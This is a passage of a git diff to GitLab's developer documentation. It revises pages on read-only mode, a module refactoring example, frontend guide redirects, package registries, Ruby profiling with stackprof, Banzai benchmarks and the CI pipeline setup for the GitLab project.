`Gitlab::Database.read_only?`.](https://gitlab.com/search?utf8=%E2%9C%93&search=Gitlab%3A%3ADatabase.read_only%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=) +- [the read-only middleware](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/middleware/read_only/controller.rb), where HTTP requests that cause database writes are blocked, unless explicitly allowed. +- [Git push access via SSH is denied](https://gitlab.com/gitlab-org/gitlab/-/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/lib/ee/gitlab/git_access.rb#L13) by returning 401 when `gitlab-shell` POSTs to `/internal/allowed` to [check if access is allowed](internal_api.md#git-authentication). +- [Container registry authentication service](https://gitlab.com/gitlab-org/gitlab/-/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/app/services/ee/auth/container_registry_authentication_service.rb#L12), where updates to the container registry are blocked. + +The database itself is not in read-only mode (except in a Geo secondary site) and can be written by sources other than the ones blocked. diff --git a/doc/development/module_with_instance_variables.md b/doc/development/module_with_instance_variables.md index 75575105178..16c7a807053 100644 --- a/doc/development/module_with_instance_variables.md +++ b/doc/development/module_with_instance_variables.md @@ -121,71 +121,7 @@ module Gitlab end ``` -Now the cop doesn't complain. Here's a bad example which we could rewrite: - -``` ruby -module SpamCheckService - def filter_spam_check_params - @request = params.delete(:request) - @api = params.delete(:api) - @recaptcha_verified = params.delete(:recaptcha_verified) - @spam_log_id = params.delete(:spam_log_id) - end - - def spam_check(spammable, user) - spam_service = SpamService.new(spammable, @request) - - spam_service.when_recaptcha_verified(@recaptcha_verified, @api) do - user.spam_logs.find_by(id: @spam_log_id)&.update!(recaptcha_verified: true) - end - end -end -``` - -There are several implicit dependencies here. First, `params` should be -defined before use. Second, `filter_spam_check_params` should be called -before `spam_check`. These are all implicit and the includer could be using -those instance variables without awareness. - -This should be rewritten like: - -``` ruby -class SpamCheckService - def initialize(request:, api:, recaptcha_verified:, spam_log_id:) - @request = request - @api = api - @recaptcha_verified = recaptcha_verified - @spam_log_id = spam_log_id - end - - def spam_check(spammable, user) - spam_service = SpamService.new(spammable, @request) - - spam_service.when_recaptcha_verified(@recaptcha_verified, @api) do - user.spam_logs.find_by(id: @spam_log_id)&.update!(recaptcha_verified: true) - end - end -end -``` - -And use it like: - -``` ruby -class UpdateSnippetService < BaseService - def execute - # ... - spam = SpamCheckService.new(params.slice!(:request, :api, :recaptcha_verified, :spam_log_id)) - - spam.check(snippet, current_user) - # ... - end -end -``` - -This way, all those instance variables are isolated in `SpamCheckService` -rather than whatever includes the module, and those modules which were also -included, making it much easier to track down any issues, -and reducing the chance of having name conflicts. +Now the cop doesn't complain. ## How to disable this cop diff --git a/doc/development/new_fe_guide/dependencies.md b/doc/development/new_fe_guide/dependencies.md index 6db3b401025..b58319c15ca 100644 --- a/doc/development/new_fe_guide/dependencies.md +++ b/doc/development/new_fe_guide/dependencies.md @@ -1,38 +1,8 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: '../fe_guide/dependencies.md' --- -# Dependencies +This document was moved to [another location](../fe_guide/dependencies.md). -## Adding Dependencies - -GitLab uses `yarn` to manage dependencies. These dependencies are defined in -two groups within `package.json`, `dependencies` and `devDependencies`. For -our purposes, we consider anything that is required to compile our production -assets a "production" dependency. That is, anything required to run the -`webpack` script with `NODE_ENV=production`. Tools like `eslint`, `karma`, and -various plugins and tools used in development are considered `devDependencies`. -This distinction is used by omnibus to determine which dependencies it requires -when building GitLab. - -Exceptions are made for some tools that we require in the -`gitlab:assets:compile` CI job such as `webpack-bundle-analyzer` to analyze our -production assets post-compile. - -To add or upgrade a dependency, run: - -```shell -yarn add <your dependency here> -``` - -This may introduce duplicate dependencies. To de-duplicate `yarn.lock`, run: - -```shell -node_modules/.bin/yarn-deduplicate --list --strategy fewer yarn.lock && yarn install -``` - ---- - -> TODO: Add Dependencies +<!-- This redirect file can be deleted after <2021-05-14>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/development/testing.md b/doc/development/new_fe_guide/development/testing.md deleted file mode 100644 index 034324989ef..00000000000 --- a/doc/development/new_fe_guide/development/testing.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../testing_guide/frontend_testing.md' ---- - -This document was moved to [another location](../../testing_guide/frontend_testing.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/index.md b/doc/development/new_fe_guide/index.md index a62ea53de9f..4d4098844b2 100644 --- a/doc/development/new_fe_guide/index.md +++ b/doc/development/new_fe_guide/index.md @@ -13,10 +13,6 @@ This is a living document, and we welcome contributions, feedback, and suggestio Guidance on topics related to development. -## [Dependencies](dependencies.md) - -Learn about all the dependencies that make up our frontend, including some of our own custom built libraries. - ## [Modules](modules/index.md) Learn about all the internal JavaScript modules that make up our frontend. diff --git a/doc/development/new_fe_guide/modules/widget_extensions.md b/doc/development/new_fe_guide/modules/widget_extensions.md index ffcd736511a..d1f6099e908 100644 --- a/doc/development/new_fe_guide/modules/widget_extensions.md +++ b/doc/development/new_fe_guide/modules/widget_extensions.md @@ -4,19 +4,19 @@ group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Merge request widget extensions +# Merge request widget extensions **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44616) in GitLab 13.6. ## Summary -Extensions in the merge request widget allow for others team to quickly and easily add new features -into the widget that will match the existing design and interaction as other extensions. +Extensions in the merge request widget enable you to add new features +into the widget that match the existing design and interaction as other extensions. ## Usage -To use extensions you need to first create a new extension object that will be used to fetch the -data that will be rendered in the extension. See the example file in +To use extensions you need to first create a new extension object to fetch the +data to render in the extension. See the example file in `app/assets/javascripts/vue_merge_request_widget/extensions/issues.js` for a working example. The basic object structure is as below: @@ -36,8 +36,8 @@ export default { }; ``` -Following the same data structure allows each extension to follow the same registering structure -but allows for each extension to manage where it gets its own data from. +By following the same data structure, each extension can follow the same registering structure, +but each extension can manage its data sources. After creating this structure you need to register it. Registering the extension can happen at any point _after_ the widget has been created. diff --git a/doc/development/new_fe_guide/style/html.md b/doc/development/new_fe_guide/style/html.md deleted file mode 100644 index afbfbdcf834..00000000000 --- a/doc/development/new_fe_guide/style/html.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../fe_guide/style/html.md' ---- - -This document was moved to [another location](../../fe_guide/style/html.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/style/index.md b/doc/development/new_fe_guide/style/index.md deleted file mode 100644 index 77700441aa3..00000000000 --- a/doc/development/new_fe_guide/style/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../fe_guide/style/index.md' ---- - -This document was moved to [another location](../../fe_guide/style/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/style/javascript.md b/doc/development/new_fe_guide/style/javascript.md deleted file mode 100644 index 17722d2c41b..00000000000 --- a/doc/development/new_fe_guide/style/javascript.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../fe_guide/style/javascript.md' ---- - -This document was moved to [another location](../../fe_guide/style/javascript.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/style/prettier.md b/doc/development/new_fe_guide/style/prettier.md deleted file mode 100644 index 6c0f3b77505..00000000000 --- a/doc/development/new_fe_guide/style/prettier.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../fe_guide/tooling.md#formatting-with-prettier' ---- - -This document was moved to [another location](../../fe_guide/tooling.md#formatting-with-prettier). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/ordering_table_columns.md b/doc/development/ordering_table_columns.md index a0a38acd816..00ce15fcc10 100644 --- a/doc/development/ordering_table_columns.md +++ b/doc/development/ordering_table_columns.md @@ -63,17 +63,17 @@ bits platform and 8 bytes for a 64 bits platform. | Type | Size | Alignment needed | |:-----------------|:-------------------------------------|:-----------| -| smallint | 2 bytes | 1 word | -| integer | 4 bytes | 1 word | -| bigint | 8 bytes | 8 bytes | -| real | 4 bytes | 1 word | -| double precision | 8 bytes | 8 bytes | -| boolean | 1 byte | not needed | -| text / string | variable, 1 byte plus the data | 1 word | -| bytea | variable, 1 or 4 bytes plus the data | 1 word | -| timestamp | 8 bytes | 8 bytes | -| timestamptz | 8 bytes | 8 bytes | -| date | 4 bytes | 1 word | +| `smallint` | 2 bytes | 1 word | +| `integer` | 4 bytes | 1 word | +| `bigint` | 8 bytes | 8 bytes | +| `real` | 4 bytes | 1 word | +| `double precision` | 8 bytes | 8 bytes | +| `boolean` | 1 byte | not needed | +| `text` / `string` | variable, 1 byte plus the data | 1 word | +| `bytea` | variable, 1 or 4 bytes plus the data | 1 word | +| `timestamp` | 8 bytes | 8 bytes | +| `timestamptz` | 8 bytes | 8 bytes | +| `date` | 4 bytes | 1 word | A "variable" size means the actual size depends on the value being stored. If PostgreSQL determines this can be embedded directly into a row it may do so, but diff --git a/doc/development/packages.md b/doc/development/packages.md index aadd71c9ffa..2476c876b77 100644 --- a/doc/development/packages.md +++ b/doc/development/packages.md @@ -15,7 +15,7 @@ package system support with solely backend changes. This guide is superficial an not cover the way the code should be written. However, you can find a good example by looking at the following merge requests: -- [NPM registry support](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/8673). +- [npm registry support](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/8673). - [Maven repository](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6607). - [Composer repository for PHP dependencies](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22415). - [Terraform modules registry](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18834). @@ -33,7 +33,7 @@ The existing database model requires the following: ### API endpoints Package systems work with GitLab via API. For example `lib/api/npm_packages.rb` -implements API endpoints to work with NPM clients. So, the first thing to do is to +implements API endpoints to work with npm clients. So, the first thing to do is to add a new `lib/api/your_name_packages.rb` file with API endpoints that are necessary to make the package system client to work. Usually that means having endpoints like: @@ -69,15 +69,15 @@ The current state of existing package registries availability is: |------------------|---------------|-------------|----------------| | Maven | Yes | Yes | Yes | | Conan | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) | Yes | -| NPM | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36853) | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36853) | -| NuGet | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36423) | No | +| npm | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36853) | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36853) | +| NuGet | Yes | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36425) | | PyPI | Yes | No | No | | Go | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/213900) | No - [open-issue](https://gitlab.com/gitlab-org/gitlab/-/issues/213902) | | Composer | Yes | Yes | No | | Generic | Yes | No | No | NOTE: -NPM is currently a hybrid of the instance level and group level. +npm is currently a hybrid of the instance level and group level. It is using the top-level group or namespace as the defining portion of the name (for example, `@my-group-name/my-package-name`). @@ -124,7 +124,7 @@ The way new package systems are integrated in GitLab is using an [MVC](https://a Required actions are all the additional requests that GitLab needs to handle so the corresponding package manager CLI can work properly. It could be a search feature or an endpoint providing meta information about a package. For example: - For NuGet, the search request was implemented during the first MVC iteration, to support Visual Studio. -- For NPM, there is a metadata endpoint used by `npm` to get the tarball URL. +- For npm, there is a metadata endpoint used by `npm` to get the tarball URL. For the first MVC iteration, it's recommended to stay at the project level of the [remote hierarchy](#remote-hierarchy). Other levels can be tackled with [future Merge Requests](#future-work). @@ -191,7 +191,7 @@ support is done by overriding a specific function in the API helpers, like For this authentication mechanism, keep in mind that some clients can send an unauthenticated request first, wait for the 401 Unauthorized response with the [`WWW-Authenticate`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/WWW-Authenticate) field, then send an updated (authenticated) request. This case is more involved as -GitLab needs to handle the 401 Unauthorized response. The [Nuget API](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/nuget_packages.rb) +GitLab needs to handle the 401 Unauthorized response. The [NuGet API](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/nuget_packages.rb) supports this case. #### Authorization @@ -245,8 +245,8 @@ in your local development environment. #### Rate Limits on GitLab.com Package manager clients can make rapid requests that exceed the -[GitLab.com standard API rate limits](../user/gitlab_com/index.md#gitlabcom-specific-rate-limits). -This results in a `429 Too Many Requests` error. +[GitLab.com standard API rate limits](../user/gitlab_com/index.md#gitlabcom-specific-rate-limits). +This results in a `429 Too Many Requests` error. We have opened a set of paths to allow higher rate limits. Unless it is not possible, new package managers should follow these conventions so they can take advantage of the diff --git a/doc/development/performance.md b/doc/development/performance.md index f3ce924de38..3b4525dc8ee 100644 --- a/doc/development/performance.md +++ b/doc/development/performance.md @@ -50,7 +50,7 @@ GitLab provides built-in tools to help improve performance and availability: - [Service measurement](service_measurement.md) for measuring and logging service execution. GitLab team members can use [GitLab.com's performance monitoring systems](https://about.gitlab.com/handbook/engineering/monitoring/) located at -<https://dashboards.gitlab.net>, this requires you to log in using your +[`dashboards.gitlab.net`](https://dashboards.gitlab.net), this requires you to log in using your `@gitlab.com` email address. Non-GitLab team-members are advised to set up their own Prometheus and Grafana stack. @@ -176,7 +176,7 @@ stackprof tmp/project_policy_spec.rb.dump --graphviz > project_policy_spec.dot dot -Tsvg project_policy_spec.dot > project_policy_spec.svg ``` -To load the profile in [kcachegrind](https://kcachegrind.github.io/): +To load the profile in [KCachegrind](https://kcachegrind.github.io/): ```shell stackprof tmp/project_policy_spec.rb.dump --callgrind > project_policy_spec.callgrind @@ -184,7 +184,7 @@ kcachegrind project_policy_spec.callgrind # Linux qcachegrind project_policy_spec.callgrind # Mac ``` -For flamegraphs, enable raw collection first. Note that raw +For flame graphs, enable raw collection first. Note that raw collection can generate a very large file, so increase the `INTERVAL`, or run on a smaller number of specs for smaller file size: @@ -192,7 +192,7 @@ run on a smaller number of specs for smaller file size: RAW=true bin/rspec-stackprof spec/policies/group_member_policy_spec.rb ``` -You can then generate, and view the resultant flamegraph. It might take a +You can then generate, and view the resultant flame graph. It might take a while to generate based on the output file size: ```shell @@ -251,7 +251,7 @@ In order to enable production profiling for Ruby processes, you can set the `STA The following configuration options can be configured: -- `STACKPROF_ENABLED`: Enables stackprof signal handler on SIGUSR2 signal. +- `STACKPROF_ENABLED`: Enables Stackprof signal handler on SIGUSR2 signal. Defaults to `false`. - `STACKPROF_MODE`: See [sampling modes](https://github.com/tmm1/stackprof#sampling). Defaults to `cpu`. @@ -264,7 +264,7 @@ The following configuration options can be configured: - `STACKPROF_TIMEOUT_S`: Profiling timeout in seconds. Profiling will automatically stop after this time has elapsed. Defaults to `30`. - `STACKPROF_RAW`: Whether to collect raw samples or only aggregates. Raw - samples are needed to generate flamegraphs, but they do have a higher memory + samples are needed to generate flame graphs, but they do have a higher memory and disk overhead. Defaults to `true`. Once enabled, profiling can be triggered by sending a `SIGUSR2` signal to the @@ -287,7 +287,7 @@ The Puma master process is not supported. Neither is Unicorn. Sending SIGUSR2 to either of those triggers restarts. In the case of Puma, take care to only send the signal to Puma workers. -This can be done via `pkill -USR2 puma:`. The `:` disambiguates between `puma +This can be done via `pkill -USR2 puma:`. The `:` distinguishes between `puma 4.3.3.gitlab.2 ...` (the master process) from `puma: cluster worker 0: ...` (the worker processes), selecting the latter. @@ -296,7 +296,7 @@ For Sidekiq, the signal can be sent to the `sidekiq-cluster` process via `pkill children. Alternatively, you can also select a specific pid of interest. Production profiles can be especially noisy. It can be helpful to visualize them -as a [flamegraph](https://github.com/brendangregg/FlameGraph). This can be done +as a [flame graph](https://github.com/brendangregg/FlameGraph). This can be done via: ```shell @@ -543,6 +543,88 @@ test += " world" When adding new Ruby files, please check that you can add the above header, as omitting it may lead to style check failures. +## Banzai pipelines and filters + +When writing or updating [Banzai filters and pipelines](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/banzai), +it can be difficult to understand what the performance of the filter is, and what effect it might +have on the overall pipeline performance. + +To perform benchmarks run: + +```shell +bin/rake benchmark:banzai +``` + +This command generates output like this: + +```plaintext +--> Benchmarking Full, Wiki, and Plain pipelines +Calculating ------------------------------------- + Full pipeline 1.000 i/100ms + Wiki pipeline 1.000 i/100ms + Plain pipeline 1.000 i/100ms +------------------------------------------------- + Full pipeline 3.357 (±29.8%) i/s - 31.000 + Wiki pipeline 2.893 (±34.6%) i/s - 25.000 in 10.677014s + Plain pipeline 15.447 (±32.4%) i/s - 119.000 + +Comparison: + Plain pipeline: 15.4 i/s + Full pipeline: 3.4 i/s - 4.60x slower + Wiki pipeline: 2.9 i/s - 5.34x slower + +. +--> Benchmarking FullPipeline filters +Calculating ------------------------------------- + Markdown 24.000 i/100ms + Plantuml 8.000 i/100ms + SpacedLink 22.000 i/100ms + +... + + TaskList 49.000 i/100ms + InlineDiff 9.000 i/100ms + SetDirection 369.000 i/100ms +------------------------------------------------- + Markdown 237.796 (±16.4%) i/s - 2.304k + Plantuml 80.415 (±36.1%) i/s - 520.000 + SpacedLink 168.188 (±10.1%) i/s - 1.672k + +... + + TaskList 101.145 (± 6.9%) i/s - 1.029k + InlineDiff 52.925 (±15.1%) i/s - 522.000 + SetDirection 3.728k (±17.2%) i/s - 34.317k in 10.617882s + +Comparison: + Suggestion: 739616.9 i/s + Kroki: 306449.0 i/s - 2.41x slower +InlineGrafanaMetrics: 156535.6 i/s - 4.72x slower + SetDirection: 3728.3 i/s - 198.38x slower + +... + + UserReference: 2.1 i/s - 360365.80x slower + ExternalLink: 1.6 i/s - 470400.67x slower + ProjectReference: 0.7 i/s - 1128756.09x slower + +. +--> Benchmarking PlainMarkdownPipeline filters +Calculating ------------------------------------- + Markdown 19.000 i/100ms +------------------------------------------------- + Markdown 241.476 (±15.3%) i/s - 2.356k + +``` + +This can give you an idea how various filters perform, and which ones might be performing the slowest. + +The test data has a lot to do with how well a filter performs. If there is nothing in the test data +that specifically triggers the filter, it might look like it's running incredibly fast. +Make sure that you have relevant test data for your filter in the +[`spec/fixtures/markdown.md.erb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/fixtures/markdown.md.erb) +file. + ## Reading from files and other data sources Ruby offers several convenience functions that deal with file contents specifically @@ -665,5 +747,4 @@ Assuming you are working with ActiveRecord models, you might also find these lin ### Examples -You may find some useful examples in this snippet: -<https://gitlab.com/gitlab-org/gitlab-foss/snippets/33946> +You may find some useful examples in [this snippet](https://gitlab.com/gitlab-org/gitlab-foss/snippets/33946). diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md index 0354e703357..4d931899da6 100644 --- a/doc/development/pipelines.md +++ b/doc/development/pipelines.md @@ -1,12 +1,12 @@ --- stage: none -group: unassigned +group: Engineering Productivity info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Pipelines for the GitLab project -Pipelines for <https://gitlab.com/gitlab-org/gitlab> and <https://gitlab.com/gitlab-org/gitlab-foss> (as well as the +Pipelines for [`gitlab-org/gitlab`](https://gitlab.com/gitlab-org/gitlab) and [`gitlab-org/gitlab-foss`](https://gitlab.com/gitlab-org/gitlab-foss) (as well as the `dev` instance's mirrors) are configured in the usual [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml) which itself includes files under @@ -37,14 +37,14 @@ Pipeline creation is also affected by the following CI variables: No pipeline is created in any other cases (for example, when pushing a branch with no MR for it). -The source of truth for these workflow rules is defined in <https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml>. +The source of truth for these workflow rules is defined in [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). ### Pipelines for Merge Requests In general, pipelines for an MR fall into one or more of the following types, depending on the changes made in the MR: -- [Docs-only MR pipeline](#docs-only-mr-pipeline): This is typically created for an MR that only changes documentation. +- [Documentation only MR pipeline](#documentation-only-mr-pipeline): This is typically created for an MR that only changes documentation. - [Code-only MR pipeline](#code-only-mr-pipeline): This is typically created for an MR that only changes code, either backend or frontend. - [Frontend-only MR pipeline](#frontend-only-mr-pipeline): This is typically created for an MR that only changes frontend code. - [QA-only MR pipeline](#qa-only-mr-pipeline): This is typically created for an MR that only changes end to end tests related code. @@ -53,23 +53,27 @@ We use the [`rules:`](../ci/yaml/README.md#rules) and [`needs:`](../ci/yaml/READ to determine the jobs that need to be run in a pipeline. Note that an MR that includes multiple types of changes would have a pipelines that include jobs from multiple types (e.g. a combination of docs-only and code-only pipelines). -#### Docs-only MR pipeline +#### Documentation only MR pipeline -Reference pipeline: <https://gitlab.com/gitlab-org/gitlab/pipelines/135236627> +[Reference pipeline](https://gitlab.com/gitlab-org/gitlab/-/pipelines/250546928): ```mermaid graph LR subgraph "No needed jobs"; 1-1["danger-review (2.3 minutes)"]; click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0" - 1-50["docs lint (9 minutes)"]; - click 1-50 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356757&udv=0" - end + 1-2["docs-lint markdown (1.5 minutes)"]; + click 1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=10224335&udv=0" + 1-3["docs-lint links (6 minutes)"]; + click 1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356757&udv=0" + 1-4["ui-docs-links lint (2.5 minutes)"]; + click 1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=10823717&udv=1020379" + end ``` #### Code-only MR pipeline -Reference pipeline: <https://gitlab.com/gitlab-org/gitlab/pipelines/136295694> +[Reference pipeline](https://gitlab.com/gitlab-org/gitlab/pipelines/136295694) ```mermaid graph RL; @@ -107,7 +111,7 @@ graph RL; class 1-6 criticalPath; end - 2_1-1["graphql-reference-verify (5 minutes)"]; + 2_1-1["graphql-verify (4 minutes)"]; click 2_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356715&udv=0" 2_1-2["memory-static (4.75 minutes)"]; click 2_1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356721&udv=0" @@ -173,7 +177,7 @@ graph RL; #### Frontend-only MR pipeline -Reference pipeline: <https://gitlab.com/gitlab-org/gitlab/pipelines/134661039> +[Reference pipeline](https://gitlab.com/gitlab-org/gitlab/pipelines/134661039): ```mermaid graph RL; @@ -212,7 +216,7 @@ graph RL; class 1-6 criticalPath; end - 2_1-1["graphql-reference-verify (5 minutes)"]; + 2_1-1["graphql-verify (4 minutes)"]; click 2_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356715&udv=0" 2_1-2["memory-static (4.75 minutes)"]; click 2_1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356721&udv=0" @@ -304,7 +308,7 @@ graph RL; #### QA-only MR pipeline -Reference pipeline: <https://gitlab.com/gitlab-org/gitlab/pipelines/134645109> +[Reference pipeline](https://gitlab.com/gitlab-org/gitlab/pipelines/134645109): ```mermaid graph RL; @@ -341,7 +345,7 @@ graph RL; class 1-5 criticalPath; end - 2_1-1["graphql-reference-verify (5 minutes)"]; + 2_1-1["graphql-verify (4 minutes)"]; click 2_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356715&udv=0" subgraph "Needs `setup-test-env`"; 2_1-1 --> 1-6; @@ -493,6 +497,7 @@ request, be sure to start the `dont-interrupt-me` job before pushing. 1. We currently have several different caches defined in [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml), with fixed keys: + - `.setup-test-env-cache`. - `.rails-cache`. - `.static-analysis-cache`. - `.coverage-cache` @@ -500,6 +505,7 @@ request, be sure to start the `dont-interrupt-me` job before pushing. - `.yarn-cache`. - `.assets-compile-cache` (the key includes `${NODE_ENV}` so it's actually two different caches). 1. Only 6 specific jobs, running in 2-hourly scheduled pipelines, are pushing (i.e. updating) to the caches: + - `update-setup-test-env-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). - `update-rails-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). - `update-static-analysis-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). - `update-coverage-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). @@ -584,8 +590,8 @@ runner, or [you can incur network egress charges](https://cloud.google.com/stora The current stages are: -- `sync`: This stage is used to synchronize changes from <https://gitlab.com/gitlab-org/gitlab> to - <https://gitlab.com/gitlab-org/gitlab-foss>. +- `sync`: This stage is used to synchronize changes from [`gitlab-org/gitlab`](https://gitlab.com/gitlab-org/gitlab) to + [`gitlab-org/gitlab-foss`](https://gitlab.com/gitlab-org/gitlab-foss). - `prepare`: This stage includes jobs that prepare artifacts that are needed by jobs in subsequent stages. - `build-images`: This stage includes jobs that prepare Docker images @@ -614,7 +620,9 @@ that is deployed in stage `review`. The default image is defined in [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). +<!-- vale gitlab.Spelling = NO --> It includes Ruby, Go, Git, Git LFS, Chrome, Node, Yarn, PostgreSQL, and Graphics Magick. +<!-- vale gitlab.Spelling = YES --> The images used in our pipelines are configured in the [`gitlab-org/gitlab-build-images`](https://gitlab.com/gitlab-org/gitlab-build-images) @@ -624,11 +632,30 @@ for redundancy. The current version of the build images can be found in the ["Used by GitLab section"](https://gitlab.com/gitlab-org/gitlab-build-images/blob/master/.gitlab-ci.yml). +### Dependency Proxy + +Some of the jobs are using images from Docker Hub, where we also use +`${GITLAB_DEPENDENCY_PROXY}` as a prefix to the image path, so that we pull +images from our [Dependency Proxy](../user/packages/dependency_proxy/index.md). + +`${GITLAB_DEPENDENCY_PROXY}` is a group variable defined in +[`gitlab-org`](https://gitlab.com/gitlab-org) as +`${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/`. This means when we use an image +defined as: + +```yaml +image: ${GITLAB_DEPENDENCY_PROXY}alpine:edge +``` + +Projects in the `gitlab-org` group pull from the Dependency Proxy, while +forks that reside on any other personal namespaces or groups fall back to +Docker Hub unless `${GITLAB_DEPENDENCY_PROXY}` is also defined there. + ### Default variables In addition to the [predefined variables](../ci/variables/predefined_variables.md), each pipeline includes default variables defined in -<https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml>. +[`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). ### Common job definitions @@ -640,6 +667,7 @@ that are scoped to a single [configuration keyword](../ci/yaml/README.md#job-key |------------------|-------------| | `.default-retry` | Allows a job to [retry](../ci/yaml/README.md#retry) upon `unknown_failure`, `api_failure`, `runner_system_failure`, `job_execution_timeout`, or `stuck_or_timeout_failure`. | | `.default-before_script` | Allows a job to use a default `before_script` definition suitable for Ruby/Rails tasks that may need a database running (e.g. tests). | +| `.setup-test-env-cache` | Allows a job to use a default `cache` definition suitable for setting up test environment for subsequent Ruby/Rails tasks. | | `.rails-cache` | Allows a job to use a default `cache` definition suitable for Ruby/Rails tasks. | | `.static-analysis-cache` | Allows a job to use a default `cache` definition suitable for static analysis tasks. | | `.coverage-cache` | Allows a job to use a default `cache` definition suitable for coverage tasks. | @@ -659,7 +687,7 @@ that are scoped to a single [configuration keyword](../ci/yaml/README.md#job-key We're using the [`rules` keyword](../ci/yaml/README.md#rules) extensively. All `rules` definitions are defined in -<https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rules.gitlab-ci.yml>, +[`rules.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rules.gitlab-ci.yml), then included in individual jobs via [`extends`](../ci/yaml/README.md#extends). The `rules` definitions are composed of `if:` conditions and `changes:` patterns, diff --git a/doc/development/polling.md b/doc/development/polling.md index 18f9fb954dd..f854891a528 100644 --- a/doc/development/polling.md +++ b/doc/development/polling.md @@ -60,6 +60,6 @@ route matching easier. For more information see: -- 